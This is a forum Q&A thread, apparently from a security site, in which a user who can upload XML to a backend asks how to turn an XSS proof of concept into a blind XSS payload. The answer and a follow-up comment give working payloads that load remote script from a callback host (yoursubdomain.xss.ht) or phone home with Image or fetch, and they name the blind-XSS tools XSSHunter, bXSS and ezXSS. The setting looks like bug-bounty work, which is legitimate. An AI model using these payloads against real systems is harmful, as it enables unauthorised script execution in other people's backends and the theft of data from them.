I think i may have found a blind XSS. I can only upload xml files that are opened inside the backend. My questions is: How can i turn this payload into a blind xss payload to receive a ping to my website?

<?xml version="1.0"?> <foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>prompt(document.domain);</html:script> </html> </foo>

What should i changed from this string?



A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss

I don't see why most of their blind XSS payloads wouldn't work for your target:

Are XML attributes parsed as HTML attributes?

<html:script src=//yoursubdomain.xss.ht>prompt(document.domain);</html:script>

If you're trying to stay inside the tags:

<html:script>var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)</html:script>

It has some other payloads you can try, as well as some tools that can be used to find blind XSS:

  • XSSHunter
  • bXSS
  • ezXSS
  • 1
    new Image().src='someurl' is a simpler way to phone home. just fetch(url) works these days too. you can rewrite your example code shorter using object ref recycling: document.body.appendChild(document.createElement(\'script\')).src='url'... /bored – dandavis Jun 6 at 20:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.